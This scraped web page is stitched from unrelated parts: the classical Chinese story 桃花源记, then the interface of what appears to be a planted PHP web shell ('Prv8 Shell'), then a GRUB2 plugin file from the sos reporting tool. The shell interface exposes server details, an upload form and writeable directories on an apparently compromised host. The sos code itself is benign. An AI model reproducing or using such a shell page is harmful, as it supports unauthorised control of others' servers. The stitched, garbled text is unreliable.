晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /lib/python3.6/site-packages/sos/report/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.6/site-packages/sos/report/plugins/grub2.py
# This file is part of the sos project: https://github.com/sosreport/sos
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# version 2 of the GNU General Public License.
#
# See the LICENSE file in the source distribution for further information.

from sos.report.plugins import Plugin, IndependentPlugin, SoSPredicate


class Grub2(Plugin, IndependentPlugin):

    short_desc = 'GRUB2 bootloader'

    plugin_name = 'grub2'
    profiles = ('boot',)
    packages = ('grub2', 'grub2-efi', 'grub2-common')

    def setup(self):

        self.add_file_tags({
            '/boot/grub2/grub.cfg': 'grub2_cfg',
            '/boot/efi/.*/grub.cfg': 'grub2_efi_cfg',
            '/boot/grub2/grubenv': 'grubenv'
        })

        self.add_copy_spec([
            "/boot/efi/EFI/*/grub.cfg",
            "/boot/grub2/grub.cfg",
            "/boot/grub2/grubenv",
            "/boot/grub/grub.cfg",
            "/boot/loader/entries",
            "/boot/grub2/custom.cfg",
            "/boot/grub2/user.cfg",
            "/etc/default/grub",
            "/etc/grub2.cfg",
            "/etc/grub.d",
            "/etc/grub2-efi.cfg"
        ])

        # call grub2-mkconfig with GRUB_DISABLE_OS_PROBER=true to prevent
        # possible unwanted loading of some kernel modules
        # further, check if the command supports --no-grubenv-update option
        # to prevent removing of extra args in $kernel_opts, and (only) if so,
        # call the command with this argument
        grub_cmd = 'grub2-mkconfig'
        out = {'cmd': f'{grub_cmd} --help', 'output': '--no-grubenv-update'}
        if self.test_predicate(self, pred=SoSPredicate(self, cmd_outputs=out)):
            grub_cmd += ' --no-grubenv-update'
        self.add_cmd_output(grub_cmd, env={'GRUB_DISABLE_OS_PROBER': 'true'},
                            pred=SoSPredicate(self, kmods=['dm_mod']))

    def postproc(self):
        # the trailing space is required; python treats '_' as whitespace
        # causing the passwd_exp to match pbkdf2 passwords and mangle them.
        passwd_exp = r"(password )\s*(\S*)\s*(\S*)"
        passwd_pbkdf2_exp = r"(password_pbkdf2)\s*(\S*)\s*(\S*)"
        passwd_sub = r"\1 \2 ********"
        passwd_pbkdf2_sub = r"\1 \2 grub.pbkdf2.********"

        self.do_cmd_output_sub(
            "grub2-mkconfig",
            passwd_pbkdf2_exp,
            passwd_pbkdf2_sub
        )
        self.do_cmd_output_sub(
            "grub2-mkconfig",
            passwd_exp,
            passwd_sub
        )

        self.do_path_regex_sub(
            r".*\/grub\.",
            passwd_exp,
            passwd_sub
        )

        self.do_path_regex_sub(
            r".*\/grub\.",
            passwd_pbkdf2_exp,
            passwd_pbkdf2_sub
        )

# vim: set et ts=4 sw=4 :

haha - 2025